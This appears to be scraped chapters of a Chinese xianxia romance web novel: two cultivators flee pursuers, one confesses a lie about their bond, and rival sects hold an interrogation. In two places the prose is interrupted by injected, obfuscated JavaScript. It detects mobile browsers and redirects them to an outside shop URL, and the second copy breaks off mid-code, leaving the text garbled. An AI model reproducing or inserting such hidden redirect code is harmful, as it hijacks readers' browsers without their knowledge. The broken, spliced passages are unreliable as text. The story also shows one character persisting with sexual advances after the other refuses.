而天盟地宗那边,像是终于想起自己是来干什么的,开始盘查城里的客栈和酒楼,只是依旧散漫得离谱:一天只查一家,查完就在店里吃喝玩乐,最后大大方方付了钱走人,第二天再换隔壁一家。 就这么愉快过了三四天,某天早上,那群人里除了那两个念经的和尚,其他人脸上都露出了耐人寻味的神色。 尹无霜脸色复杂,阿和阿璟瘪着嘴,明显不开心;夏阳穿了一身暴发户似的华丽衣裳,懒洋洋地抖着腿。几人一碰头,竟不由分说地从第一家被查过的客栈开始,重新大张旗鼓地搜了起来,生怕别人不知道他们在做事一般。这一回,他们不再只查一家,而是一口气把整条街都翻了个遍。 也就在这时,祁云耀已经疼得无法起床,正因灼热而满头冷汗时,便听谢重楼从外面打探回来一个消息—— 谢长泽醒了。 这天夜里,天盟地宗的人重新退回西门门派驻地。祁云耀强撑着剧痛,二话不说,直接带着谢重楼冲出了主城。 他们不能再待下去了,再留迟早会被找到。 之前谢长泽没醒,那群人还只是装装样子混日子,可谢长泽一旦醒过来,天知道他们会被逼着做出什么来。为了这群人能够成功交差,也为了保住他和谢重楼两个人的命,他们必须立刻出城。 两人在林间穿梭,月光高悬,微弱的光透过层层树荫,在地上洒下斑驳的碎影。 祁云耀再也撑不住了,脸色惨白如纸,浑身都在控制不住地发抖。 脑子里隐隐升起一股不祥的预感,他刚用力拽住谢重楼的手,想开口说些什么,眼前一黑,便直直地倒了下去,彻底失去了意识。 再次醒来,不知过了多久。 入目先是老旧的木制天花板,紧接着,便是蹲在床边、眼眶通红掉着眼泪的谢重楼。 祁云耀起初还以为谢重楼又把他带回了主城,可下一秒就察觉不对——这间屋子的陈设,竟有些眼熟。熟悉的小灶,熟悉的矮床,他没记错的话,出了这间主屋,外面该有个小院,院里还有一口老井。 啊,他想起来了。 祁云耀挣扎着想坐起身,浑身却软得使不上一点力气。谢重楼见状,连忙从床边爬上来,小心翼翼地将他搀扶起来。 祁云耀苍白的脸上,终于浮起一丝淡淡的怀念:这里是李婆婆的旧小院,只是太久没人住,早已显得破败。 谢重楼转身去给他端来热水,看得出来,他已经简单打扫过屋子,只把急需用的东西清洗干净,其余角落依旧蒙着厚厚的灰。 谢重楼的眼泪还在不停掉,一边给他喂水,一边哽咽着解释现状。 祁云耀晕倒后,他整个人都慌了神,原本想带着人折回主城找医师,可祁云耀就算在昏迷里,都在反复念叨“不能回去”。他只好死了这条心,抱着人在林间乱走,竟误打误撞找到了这间废弃的小屋。 谢重楼觉得这里莫名熟悉,却又想不起来,泪眼婆娑地望着他:“屋子里的人,是死掉了吗?” 祁云耀看着他,尽管浑身乏力,还是耐着性子轻声回答:“没有。这间屋子原本住的是一位很善良的老婆婆,她当年帮过两个走投无路的青年,还有一个快死掉的小孩,西门感念她的恩情,在主城给她安置了新屋。我们在河边见到的那间屋子,就是她的新家,所以这间老屋子,就空下来了。” 话音落下,祁云耀的眼皮渐渐沉重起来。难得丹田处的灼烧感轻了些,他撑不住,闭眼又昏睡了过去。 再醒来时,祁云耀先觉得下半身一阵不对劲,低头一看,竟见谢重楼伏在那里。他当即吓得魂飞魄散,双手猛地把人推开,满脸惊惧地低吼:“你!你在做什么!” 谢重楼直起身擦了擦嘴角,眼神真挚又认真,语气理所当然:“我们双修吧,道侣不都是会双修的吗?” 祁云耀只觉得脑子“嗡”的一声,险些再次晕过去。他一手死死拽着自己的裤子,一手推开又要贴上来的谢重楼,脸颊烧得通红:“不行,现在不行!” 谢重楼动作一顿,皱了皱眉,像是忽然恍然大悟,放弃了和裤子的争夺,转而低头去亲吻祁云耀的嘴唇。趁祁云耀恍然松手的一瞬,他又一次成功把裤子扯了下去。 “你别害羞。”谢重楼笃定地说。 祁云耀只觉得下一秒就要被这羞愤和灼热蒸得昏死过去,双手用力掐住谢重楼作乱的手,头拼命扭开躲避亲吻,低声尖叫:“我没有!你先停下,你听我说!听我说啊!” 谢重楼闻言,竟真的乖乖松了手。 祁云耀满头大汗地把裤子重新穿好,一番争抢下来,他浑身都被冷汗浸透,脑袋发晕,依旧死死护着自己的裤子。谢重楼这才后知后觉察觉到不对,目光沉沉地盯着他,语气里带着明显的不高兴:“我们不是道侣吗?为什么不让我亲你?” 祁云耀脑子里早已乱成一团浆糊,理智和情绪撞得粉碎,他几乎是脱口而出,实话实说道:“我骗了你,我们不是道侣,是我一直在骗你。” 话一出口,他才后知后觉自己说了什么,心脏骤然像是被无数根细丝线狠狠捆住,闷痛得厉害。 谢重楼抢裤子的手彻底停住了,一动不动,像是在慢慢消化这句话的意思。 祁云耀心里刚松了半口气,转瞬就被丹田处翻涌上来的巨大灼痛压得说不出话,浑身都在发抖。他其实设想 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祁云耀疼得冷汗涔涔,眼神渐渐迷茫,张口急促喘息,像是被什么狠狠挤压着。谢重楼也撑不住了,身形一晃,重重倒在他胸前,毛茸茸的发顶蹭着他的肌肤,声音里竟难得带上了哭腔,软着嗓子痛呼:“好疼……” 他抬头,露出一张满是泪水的脸,又重复了一遍,带着浓重的鼻音:“好疼啊……” 说着便去吻祁云耀的下巴,眼泪哗哗滚落,砸在他胸口。那泪滴明明极轻,内里却似藏着惊涛骇浪,几乎要将人溺毙。 “你喜欢我的,对不对?” 谢重楼痛嚎着问,话音落下又因难受倒抽一口冷气,脑袋埋回祁云耀的胸前,呜咽着低声哭泣。 祁云耀只觉得浑身紧绷到了极致,艰难地滚了滚喉结,一句话也说不出来。 谢重楼的声音闷闷的,脸颊贴在他的胸口,声音止不住地颤抖:“既然喜欢为什么不是道侣?我不想像师傅和花长老那样,明明喜欢但却不是道侣!你要像师傅对花长老那样对我吗?” 他一直在哭,自从祁云耀坦言欺骗之后,就哭得伤心极了。每一滴眼泪都像是转轴,将祁云耀脑子里紧绷的那根弦绷得更紧,几乎到了岌岌可危的地步。 祁云耀没有立刻回答,心口像是被钝器反复碾磨,疼得几乎喘不过气。为什么事情会走到这一步?为什么偏偏要变成这样?他不敢去看谢重楼,只觉得自己那套卑劣的谎言,硬生生扭曲了对方的判断。明明他早该清楚,蓝色册子也好、断不义也罢,全都是随口编造的假话,可谢重楼却照单全收,说什么都信。就连“道侣”这般不知羞耻的谎话,他也毫无保留地信了,全然不顾自己真正的心意。 生理与心理的双重痛苦绞着他脆弱的神经,他几乎要冲口而出:“对不起,我骗了你,可我是真的喜欢你。” 但这话太卑劣了,这样的行径,卑劣到他自己都唾弃。 他怕看见谢重楼那双盛满委屈的眼,怕听见他哽咽的哭声,更怕他为了“做一个合格的道侣”,勉强他自己去做那些本就不愿做的事。 祁云耀感受着怀中人不住的颤抖与呜咽,痛苦地低下头,想开口说声抱歉,可视线落下的刹那,却撞进了谢重楼的眸子里——他正一瞬不瞬地盯着自己,眼底清明得可怕,仿佛刚才所有的哭诉与委屈,全都是精心演出来的。 祁云耀脑子里“轰”的一声,看着怀中人这副陌生至极的表情,心里蓦地升起一股莫名。 其实这已经是第不知道多少次了,谢重楼说完一些话,就会悄悄打量别人的神情,观察他们的反应。若是顺着他的设想,该生气时生气,该心软时心软,他便会继续往下演;若是那些人没有按照他预设的轨迹反应,他就会变成现在这副模样——像机关生锈的偃甲,彻底卡住,面无表情地继续观察对方接下来的神色。 只是从前的每一次,祁云耀都顺着他的设想走了,所以谢重楼从没有这般露出过这种表情。 按照他原本的算计,此刻祁云耀该心软,该哄劝,该给出承诺。 可现在,祁云耀没有。 所以谢重楼彻底不知道接下来该怎么办了。 谢重楼的眉头微微皱起,眼珠轻轻转了转,像是在脑子里翻找着什么。片刻后,他十分失落地叹了口气,像是没找到需要的答案,忽然开口,声音里带着一种小心翼翼的试探: “你为什么不心疼我?” 祁云耀脑袋里依旧晕乎乎的,一片混沌,显然没料到事情会拐到这样一个方向上。 谢重楼慢慢撑起身子,居高临下地看着他。那张脸上没有了方才的阴鸷,也不见了刻意的委屈,只剩下一种认真得近乎纯粹的困惑,像是真的在为一道解不开的难题而苦恼。 “我现在想要你心疼我,然后同意和我结道侣。” 他顿了顿,舌尖轻轻抵了抵齿间,像是在组织语言,又像是在回忆某段被教过的对话。随即,他一字一句地问出声,直白得近乎赤裸,“我需要怎么做,你才会这样做?” 说着,他俯下身,轻轻吻了吻祁云耀因为过于震惊而微张的唇,语气乞求:“你教教我吧。” “叮——”地一声,祁云耀脑子里的那根弦彻底崩断了。 54. 松动 翌日,祁云耀从昏睡中醒来,浑身都浸在一种慵懒的满足里。身边暖融融的,睁眼便看见谢重楼安静的睡颜,心口一暖,沉甸甸的——不是压迫的沉重,而是空虚许久的地方,终于被什么东西满满填上的踏实。 身上的灼痛自昨日便彻底消散,取而代之的是一种难以言喻的舒畅,仿佛从头到脚的经脉都被打通,畅快无比。 他刚怔忪片刻,怀中人的眼睫便轻轻颤了颤。祁云耀浑身骤然一僵。 谢重楼睁开了眼,可那双眸子,却是他十年前见过的模样——金色,陌生,冷得没有半分感情。 他呼吸猛地一滞,却见谢重楼缓缓眨了眨眼,眼皮合上再掀开时,又变回了那双熟悉的、总爱滴溜溜转的黑眸。 不等祁云耀开口发问,谢重楼却猛地眉头拧紧,随即痛苦地俯下身,骤然发出一声惨嚎。 “好痛!” 这声痛呼绝非昨日半真半假博同情的模样,而是实打实痛到极致的惨叫。 谢重楼弯下腰,额头抵在祁云耀小腹,双手死死抱住头,手背上青筋因剧痛根根暴起,脸上肌肉都在痉挛哆嗦。 “头好痛!我的头好痛——!” 祁云耀慌忙将人拽起,就在他坐起身的刹那,却看见谢重楼的眼睛再次变成了金色,与眉心的金痣交相辉映。本该是极好看的模样,此刻却衬得他整张脸扭曲颤抖,戾气翻涌。 即便痛到极致,谢重楼也没有半分要伤害祁云耀的意思,只是拼命蜷缩着,妄图以此减轻分毫痛楚,却无济于事。脑袋像是被人用钝锤反复狠砸,每一下都敲在最脆弱的地方,疼得他眼泪横流。 祁云耀心头骇然,眼见谢重楼攥紧拳头就要捶向自己,他连忙伸手死死拦住,一把将人紧紧抱进怀里,手脚麻利地替两人穿戴好衣物。此刻他再也顾不上什么天盟地宗的搜捕,当机立断捆住谢重楼乱挥的双手,将人牢牢抱在怀里,转身便要强行闯入主城求医。 结果刚一开门,他的手便猛地顿住,整个人都僵在了原地。 只见门口一左一右立着两个和尚,他们低眉垂目,神色平静,也不知道究竟在这里站了多久,更不知道方才屋里的动静听去了多少。 祁云耀面色骤然一变,只当是谢重楼失控的灵力波动引来了天盟地宗的追兵,抱紧谢重楼,一手已经下意识按上了剑柄,正要拔剑,却见两人双手合十,齐齐轻声道了声:“阿弥陀佛。” 随后左边的和尚缓缓开口,语气平和:“祁公子不必担忧,我等并非因天盟搜捕之事而来。” 祁云耀握剑的手依旧没有松开。怀里的谢重楼气息已经十分微弱,只剩下断断续续、几不可闻的嘤咛,像是已经痛得快要晕死过去。 “祁门主与少门主此刻都在禅宗做客,玉蝉方丈希望能够再同施主见一面,如果施主愿意,便随我们走一趟吧。” 祁云耀没有接话,心里却飞快盘算起来。 通过尹无霜他早就知道,母亲和小妹此刻确实在禅宗,可迟迟没有归来的消息,如今玉蝉方丈又特意派人来请,想来禅宗必定是出了什么问题。可他现在自身难保,又能做些什么? 禅宗……阿灵。 他下意识就想起了那个举止古怪的女人,当初她一口一个小西,将他错认成了自己的孩子。难道是阿灵出了事,所以玉蝉方丈才要见他? 尽管心里诸多猜测,祁云耀还是沉声拒绝道:“我现在不能和你们走。” 没等他想出更多说辞,两个和尚又是一声“阿弥陀佛”,这次是右边的和尚开口,语气依旧平和,没有半分强求:“施主不愿,我等也不过多强求。只是施主还是先别进主城为好,剑庄已经派人来了西门,此刻就在门派里头,若是被他们瞧见了,怕是对二位都不好。告辞。” 说着,两个人真的不再多纠缠,转身便施施然离去,走得干净利落,没有半分拖泥带水。 祁云耀愣在原地,没过多去琢磨两个和尚的来意,眼下最要紧的是如何为谢重楼寻来医师。他原本的打算是直接回门派,门派里的医师是从药王谷拜师归来的,医术远胜外面那些寻常大夫—— 药王谷,对了!还有一个地方有医师! 怀里的谢重楼似乎短暂苏醒了一息,沙哑着嗓子低吼了几声,便又彻底昏了过去,身体软软地搭在他的背上。 祁云耀不敢再有半分耽搁,小心翼翼背着他,小心绕开主城,直奔西郊山巅的那座龙女庙而去。 那龙女庙上住着一位隐居的老妪,传闻正是当年从药王谷退隐出来的医女,医术高超,治病救人却不问出身,甚至愿为恶徒医治。 祁云耀稳稳托着背上的谢重楼,眼神坚定无比,脚下飞快,朝着龙女庙的方向急速逼近。 同一时间,西门内。 偌大的前厅里,只堪堪坐着三个人——尹无霜、祁余天,还有米长老。 三人面面相觑,又各自飞快低下头去,气氛诡异。 米长老心虚得连胡子都在微微发颤,一双眼睛死死盯着面前那杯茶水,仿佛这辈子从没见过这般稀罕物似的,直勾勾地盯着,恨不得从瓷杯沿上盯出一朵花来。 他脑门早已憋出一层密密的冷汗,却不敢抬手去擦,甚至连动都不敢多动一下。倒不是怕尹无霜和祁余天对他如何,也不是担心天盟地宗的搜查——剑庄的弟子如今正跟着天盟地宗在西门各处盘查,想来用不了几日便能收队赶往下一处。 可米长老却巴不得时间“唰”地一下,直接跳到那一天——这前厅里的沉默,实在太煎熬了! 他当初带队来西门,本就是抱着能躲就躲的心思,听说尹无霜没有代表凌云阁亲自带队,他当即松了一大口气,连忙带着门下弟子去和天盟地宗的人汇合,万万没想到,兜兜转转,还是在西门撞上了。 他心里恨得牙痒痒!毕竟当初那个叫尧云的混小子,干的混账事实在是太多了。这下倒好,小混蛋作天作地把自己给作没了,可这都不是最要紧的,米长老现在最怕的,是那混蛋留下的一堆烂摊子,最后统统反噬到剑庄头上—— 譬如尹无霜一怒之下提出退婚!那剑庄盼了十多年的亲事可就彻底黄了,重振剑庄的大计,又要半路崩裂! 米长老在心里默默流泪,早知道当初谢长泽继任掌门的时候,就该多拉几个长老进来充门面,那样他就能一直缩在后面装死,不用来受这份罪。 他偷偷抬眼瞄了尹无霜一下,却不料正好对上她那双面色复杂、欲言又止的眼睛,心脏猛地一缩,几乎停止跳动,额头上的汗更是快要哗啦啦往下淌,连忙又把目光挪回茶杯上,继续装死扮鹌鹑。 尹无霜和米长老对视一眼后,也飞快移开了视线。她心里同样忐忑不安,她清楚剑庄此番前来的目的,更惦记着那本蓝色册子。她将册子上的内容一字一句看完后,早已泪流不止,心里又痛又乱,陷入了两难。她很想向剑庄的人追问后山地牢的事,可又担心打草惊蛇,说不定一个不慎,还会暴露祁云耀和谢重楼的下落。 她心里纠结万分,难受得无以复加,实在不知该如何是好,旋即轻轻叹了口气: “唉——” 一声轻叹在寂静的前厅里回荡,竟带着几分诡异的空响。 三人齐齐一怔,尤其是祁余天,当即撑着扶手直起身,两道粗粗的眉毛紧紧皱起,脸上满是疑惑:“是西门招待不周吗?” 闻言,米长老和尹无霜同时连声摆手,忙道“不是不是”,祁余天才重新坐了回去。 他心里也同样发苦,暗自念叨着母亲和小妹到底什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386334|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候才能回来?要是没招待好客人们,会被母亲揍死的吧!所以父亲就是害怕被揍才推他出来的吧! 他是真的快要坚持不住了! 三人就这么沉默着,前厅里静得落针可闻。 忽然,空气中掠过一丝极细极弱的灵气波动,微不可察,却还是被敏锐捕捉到。米长老和祁余天虽都是凡人,却都是突破五阶的佼佼者,当即齐齐站起身,面色一沉,眼神不善地四下扫视。 可那波动只一闪便彻底消散,快得让他们无法锁定来源。两人正蹙眉思索间,尹无霜也缓缓站起身,平静开口: “不必找了,是我。” 祁余天眉峰猛地一挑,米长老也瞬间老脸失色,都有些不敢置信。 只听她轻声解释:“近来忧思过重,灵力有些不稳暴动,实在抱歉。” 这话她说得自己都不太信服,下意识怯怯抬眼,却见两人僵在原地,神情古怪。尹无霜不由微微蹙眉,可眉头刚一皱起的刹那,两人竟像是被踩了尾巴的猫,瞬间炸了起来。 祁余天当即大呼小叫,慌得语无伦次:“真是招待不周了!是住处不舒服吗?还是哪里不妥?我现在就去给你……不对,给您重新安排!” “哎哟!尹小姐可千万不能再忧思了啊!”米长老也满脸焦急,仿佛生怕她直接顺着这个台阶提出退婚的事,连忙抢着自荐,“我当年在凡间游历,有幸学过一道安神的膳食,不如让我给尹小姐做来尝尝?” 话音未落,两人便如蒙大赦一般,争先恐后地冲了出去,转眼便没了踪影,只留下尹无霜一个人站在空旷的客厅里,彻底凌乱。 尹无霜:??? 青云剑庄内。 谢长泽从梦中猛地惊醒,后背已被冷汗浸透,方才那梦境骇人至极,至今仍让他心有余悸。他抬眼望去,只见风幕卿端坐对面,垂目凝望着面前棋局,对他方才的突然昏睡似是早已见怪不怪,眼睫未抬,只淡淡开口:“怎么今天昏睡这么久?” “不知。”谢长泽声音微哑。 “醒了便继续吧。” “好。” 谢长泽强压下心底的惊悸,伸手去捻棋子,可颤抖的手指却不听使唤,棋子在半空中“啪嗒”一声坠落在棋盘上,瞬间打散了原本规整的棋局。他面上慌忙做出慌乱之色,又竭力强装镇定。 风幕卿收回正要落子的手,将棋子缓缓放回棋盒,垂眸扫过谢长泽腰间悬挂的兰泽剑,语气依旧平淡无波:“都不见你使用兰泽了。” “弟子本就不善剑道,如今又忙于宗门事务,哪里还有闲暇碰它。”谢长泽波澜不惊地收拾着残局,声音听不出半分异样。 “按理来说,当年收徒,你该传下去的是兰泽。”风幕卿淡淡道。 “他想要断不义,弟子便将断不义传了下去。”谢长泽从容解释。 “嗯。”风幕卿应了一声,话锋忽然一转,“有想过再收徒么?说到底,凡人终究是凡人,兰泽还未传出去,可有物色好的人选?” “暂时还没有。” “好。” 沉默蔓延开来,谢长泽斟酌片刻,轻声问道:“幕卿师傅近来都没去看师傅么?” “看的。”风幕卿话音落下,便再度闭了嘴,目光垂落,不知在思索些什么,周身气息沉凝。 谢长泽见状,识趣地不再多言,躬身退下:“弟子不打扰师傅了。” 说罢,起身离席,脚步沉稳地退出了这间静室。 直到他的身影彻底走远,再无半分声息,风幕卿才缓缓抬起头,目光沉沉地盯着他离去的方向。 那张素来俊美淡漠的面容上,竟有一瞬细微的龟裂,随即,他用一种极低、又带着极致嫌恶的语气道: “没教养的东西。” 55. 审讯 终于写到第四卷啦!首先很感谢追读到这里的宝宝们,因为第四卷的内容较为特殊,为了防止雷到宝宝们我先在此排雷以及提示: 首先会出现很多副cp。谢青线会再次补全,并且把前面挖的很多坑都补上,所以第四卷的内容的视角更加偏向多视角,但是云耀和重楼肯定是会在的,戏份不少捏! 会有主角死亡,不单单是重要配角死亡,云耀和重楼也会死,但是会复活。如果不是很喜欢主角死掉的宝宝可以跳过第四卷,我会在第五卷开头做个总结,到时候直接去作话看就可以了!!! 本卷包含一对三角关系,风幕卿和谢青以及谢青和祁红。不喜欢这种设定的也可以跳。 按照故事线会把天盟地宗全部走一遍,最后揭开大boss的秘密。 因为第四卷涉及到的东西太多了,所以我不知道究竟什么是大家会感到不喜欢的。 还有任何害怕看到的东西或者说有的雷点请留言吧,我看到了会回复,希望大家能够快快乐乐的看文,不喜欢的话叉掉就好了捏~ 占用的正文会放到作话,谢谢大家~~~ 同一时间,药王谷内。 肖严谨面如菜色,正扯着嗓子指挥门中弟子修缮被打烂的建筑。原本就显得有些破败的药王谷,在一番大兴土木后,竟被修缮得几乎焕然一新,青瓦白墙,连药圃都重新规整了一遍,看着倒比从前气派了不少。 肖严谨抱着胳膊站在廊下,盯着这宛若新生的药谷,嘴角忍不住抽了抽,暗自腹诽:这怕不是真来讹我们的吧! 回想那日的场面,他至今还觉得头疼。当时五派齐齐出动,围捕花秽芳,可那人却像满山乱窜的猴,抓都抓不住。明明下一秒就能揪住他的衣摆,结果忽的金光暴涨,他脚下凭空生出传送阵,人“唰”地一下就跑到了另一边,气得人牙痒痒。 最后实在没法,只能先把药王谷里的弟子全部清出去,天机阁干脆直接炮轰药谷,可即便如此,还是连他的衣角都碰不到。 说来也怪,花秽芳从头到尾就只一门心思逃跑,从不主动攻击。有好几次其他门派的人出手太急,差点误伤自家队友,还是花秽芳随手甩出传送阵,把那要惨遭“队友毒手”的弟子给送走了。 一番你来我往下来,花秽芳把所有人都当狗溜,跑得不亦乐乎。直到最后,也不知道灵枢谷主是什么时候悄无声息来了,花秽芳一见他,竟立刻不动了,乖乖站在原地,随后便被一拥而上的弟子们抓住,关进了谷里最深的水牢。 肖严谨收回思绪,看着眼前这焕然一新的药王谷,连那些长期被苦药味浸染的药王谷弟子,在新屋的衬托下,脸色都显得不那么命苦了,他不由得咂了咂嘴。 所以,灵枢谷主真的是来讹人的吧?不然怎么偏偏等药王谷被砸得稀巴烂了,才肯出来? 他摸了摸下巴,把脑袋里那些大不敬的念头一股脑扫了出去,长长叹出一口气。 “算了,反正是仙宗出钱,拿钱干活不就得了!” 说着,他脚步轻快地往水牢走去,想去看看那边的情况。 药王谷的水牢藏在一处天然岩洞里,洞中昏暗,只靠壁上烛火堪堪照清脚下。沿着蜿蜒曲折的石阶往下走,还得时不时避让突然从顶上垂落的钟乳石,肖严谨一路提心吊胆,生怕一头撞上去,从这颤巍巍的石阶上摔下去。 直到洞底,才听见窸窸窣窣的水声,越靠近越清晰,仿佛在幽冷的岩壁间反复回荡,一下下敲着他那颗脆弱的小心脏。 走近了,才看见天机阁弟子的服饰,那人脸上也满是为难。他面前便是水牢,暗河不时传来流动声响,里面缚着一道高大艳丽的身影。花秽芳被山壁垂落的铁链捆住手脚,铁链因长期浸在水里早已锈蚀,摩挲在白得透光的肌肤上,留下深褐的印痕,白皙皮肉被磨得通红。腰间也缠紧锁链,勒出一截精瘦的腰肢。 他的银色长发散在水面,竟没有沉下去,只是软软铺开,浮在水上。 额角的发丝黏在皮肤上,他闻声抬眼,那张惊艳绝伦的脸上几乎没什么血色,眼尾却依旧弯弯上挑,乍一看,活像个被缚住的水妖。 肖严谨咽了咽口水,伸手轻轻把同门往后拉了拉,免得靠得太近。 主要是他对花秽芳的印象,一直停留在那满口尖牙上。就算生得再好看,在他眼里也只是个长着尖牙的怪物,这美貌于他而言,不过是蛊惑人的手段,一旦被诱惑,便会被连骨带皮吞吃干净。 他闭了闭眼,尽量不去想那口尖牙,伸手接过同门手里的一卷小手册,开口询问。可不等同门回答,他翻了两页便知道,定然是一无所获。 药王谷为了赚钱,什么活都接,连审讯的差事也一并揽下。手册上列着要问询的条目,几十个问题后面全是空白,显然同门在这里耗了这么久,花秽芳半个字都没吐。只有一个问题旁留了点笔墨,却也几乎可以忽略不计—— “你做这些事情的时候,灵枢谷主是否知情?” 花秽芳的回答只有一句:“我们同床共枕。” 肖严谨眼角嘴角齐齐抽了抽,压根不信。跟这么个怪物睡在一处,第二天不就被啃得只剩碎肉了吗? 可他不知道的是,他们确实同床共枕,花秽芳也确实啃过灵枢,只是那啃法,是他万万想不到的模样。 “那些都用了吗?” 肖严谨的目光扫过一侧摆着的、天机阁特制的审讯刑具。 旁边的弟子缩了缩脖子,眼睛却亮得有些异样,支支吾吾:“真、真的要用吗?可、可是……” 肖严谨在心里疯狂尖叫——真是见色忘事的队友!他当即挥手让人先退下,打算自己上手。可等他真拎着刑具一步步靠近,目光落在花秽芳脸上时,脚步却硬生生顿住了。 说实话,他从不是什么怜香惜玉的人,毕竟是根正苗红的天机阁弟子,天大地大小钱钱最大。可他是真怕——怕花秽芳张嘴咬他。 现在的花秽芳看着其实并不可怕,可他们的初见实在是太吓人了!他忘不了刚被蛇咬过,一睁眼就对上那满口尖牙的画面,刻骨铭心!那段时间他但凡看见尖锐的东西都心里发怵,这阴影怎么可能说散就散。 不行不行,药王谷可是给了钱的!不能怂! 肖严谨狠狠摇了摇头,再次鼓足勇气往前迈,花秽芳却蓦地抬起头,微微动了动身子,锁链顿时发出哗哗的脆响。而他脸上,竟缓缓勾起了一抹笑,那模样,看着就像是下一秒就要龇起牙来。 啊啊啊啊——! 肖严谨脚步猛地一转,又退了回去,背对着花秽芳,浑身都在暗暗发抖。 这钱我不要了!——不行!肖家人怎么能不要钱! 他猛地再转身,一对上花秽芳的眼,又立刻转回去。 就这么来来回回原地打转,折腾得自己满头大汗,直到一道不耐烦的声音骤然打断了他: “这是在做什么?表演节目?” 灵枢本不打算来水牢,审讯之事他已全权交给天机阁,按理不必挂心。可他偏偏听见了天机阁弟子聚在一处叽叽喳喳的议论,原本懒得理会,冷不丁一句“花长老好漂亮,大美人啊!明日一起去看”钻入耳中,心底莫名蹿起一股烦躁,脚步一转,便径直进了水牢。 还未走近,就看见天机阁那个首席在原地团团转,那股烦躁更甚,当即出言打断。 眼见雇主到来,肖严谨心里那点退缩瞬间烟消云散,像是终于找到了撑腰的人,面色一肃,大眼睛炯炯有神,雄赳赳气昂昂就要上前给花秽芳套刑具,却又被灵枢的声音喝住。 “你手上是什么?” “刑具!”肖严谨义正言辞。 灵枢上下打量了那形似狗链的物件,眉心一跳,显然不觉得这东西能逼花秽芳吐出半分实情。 他伸手捞起那本审讯记录册,看着上面寥寥无几的内容,目光落在花秽芳唯一回答的那行字上,毫不犹豫提笔涂掉,皱眉摆足了架势:“这么久,什么都没问出来?” 肖严谨讪讪低头,旋即又燃起斗志:“快了快了!相信我们天机阁的能力啊,灵枢谷主!” 灵枢看了看他,又瞥了眼泡在水里的花秽芳——那人自他进来起,就暗搓搓往岸边挪,目光炙热得发烫。 灵枢翻了个白眼,摆摆手:“你走吧,剩下的我来。” 肖严谨哪里肯走,刚要开口拒绝,便听灵枢道:“钱会照常给你。” “那小弟就先告退了!灵谷主再会!”肖严谨麻溜放下刑具,脚底抹油就要开溜,刚踏上楼梯,就听见灵枢幽幽的声音传来:“你太爷爷传出去我和谢青有染,不日后就死了。你觉得要是传出来我和花秽芳有染,你能活多久?” 肖严谨忙不迭捂住脑袋,即便看不见水牢里的境况,也能脑补出灵枢冷峻的面容和自己不日被做成药人的惨状,当即大叫一声:“绝对不会的!天机阁绝对不会乱传半句!”说着连滚带爬地跑了。 水牢里重归寂静。 灵枢仍在翻看手中的册子,像是对上面的内容颇感兴趣,末了提笔在其中一条上写了几字,随手将册子一丢,转身走向摆放刑具的地方。天机阁的刑具与药王谷的刑具并列一处,药王谷极少用水牢,刑具寥寥无几,而天机阁本就靠这行当赚钱,各式刑具千奇百怪。灵枢目光扫过,指尖细细挑拣。 被冷落的花秽芳显然不满,挣了挣铁链,发出哗哗的脆响。 “好狠的心啊。”花秽芳的目光死死黏在那道青色身影上,“把谢长泽做的事全推到我身上,好狠的心。” 灵枢压根不理会,终于选好趁手的物件,握着一条鞭子慢悠悠踱到水边:“你没有吗?” “天地可鉴,我怎么会用半仙做实验?我向来只用人做实验。”花秽芳歪了歪头,“再说了,我手底下从没有出过人命,都是全须全尾回去的。哪像他,吃了人连骨头都不吐。” “那是我错怪你了?”灵枢蹲在水边,与他目光平视。 花秽芳刚要开口,“啪”的一声脆响,鞭子已落在他脸上,人被抽得猛地转过脸去。 灵枢甩了甩有些发麻的手,捡起那本手册,指尖落在第一条记录上,也不管花秽芳的伤势,冷冷问道:“你杀了尧云吗?” 花秽芳缓缓转回头,脸颊上横亘着一道鲜红的鞭痕,他轻喘几口气,咧嘴一笑:“我该说杀了,还是不该杀?” 灵枢不答,只静静看着他。 “没——”花秽芳观察着灵枢的神色,见他笑容渐深,立刻改口,“杀了。” “好。” 灵枢在这一条下面画了个勾,转而问出下一个问题,却不是册子上的内容: “学来学去有什么意思呢?”灵枢看着他,语气平淡,“还净学些让人火大的东西。” 花秽芳歪了歪头,眼珠咕噜噜一转,还没等他想出什么话来解释,下一瞬,又一鞭狠狠抽在他脸上。 花秽芳定定望着灵枢,眼睛里难得的露出了迷茫,然后也不管究竟想没想明白,说了一句莫名其妙的话: “你想杀死我吗?” …… 同一时间,西门境内。 祁云耀背着谢重楼赶到西郊龙王山底时,已是日上中天。 谢重楼的气息微弱得几乎探不到,脑袋无力地歪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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像极了谢重楼战败的那一天——也是在他怀里,也是满脸是血。 他只觉得浑身血液倒流,直冲头顶,又硬生生被逼成眼泪,汹涌地冲出眼眶。浑身发颤,说不出一句话,轻轻抬手捂住谢重楼的眼睛,另一只手拼命地想要擦净那些刺目的红。 他不敢看谢重楼的眼睛,怕再看见那片死寂、毫无生气的金色。手心被睫毛轻轻扫过,微微发痒,可眼泪却止不住地往下掉,额头青筋暴起,眼前不断闪回那日的惨状,神志已然有些不清。 忽然,手腕被人轻轻捉住。 谢重楼想拉下他的手,却连一丝力气都没有,只能软软地贴在那只颤抖的手背上。他喉咙里还堵着血,声音嘶哑破碎,却还是拼尽全力,一个字一个字的往外蹦。 他说:“你别怕。” 祁云耀一言不发,眼泪却流得更加汹涌。他心里一遍遍悔着:若是出来这几年能学些医术就好了,也不至于此刻面对这般境况,手足无措;若是他再强大一点就好了,若一直足够强悍,便能护好谢重楼,不让他卷入纷争,他们也不会分离。 又或者,他是半仙就好了,那样,他们就不会分开。 泪水越涌越凶,视线渐渐模糊。 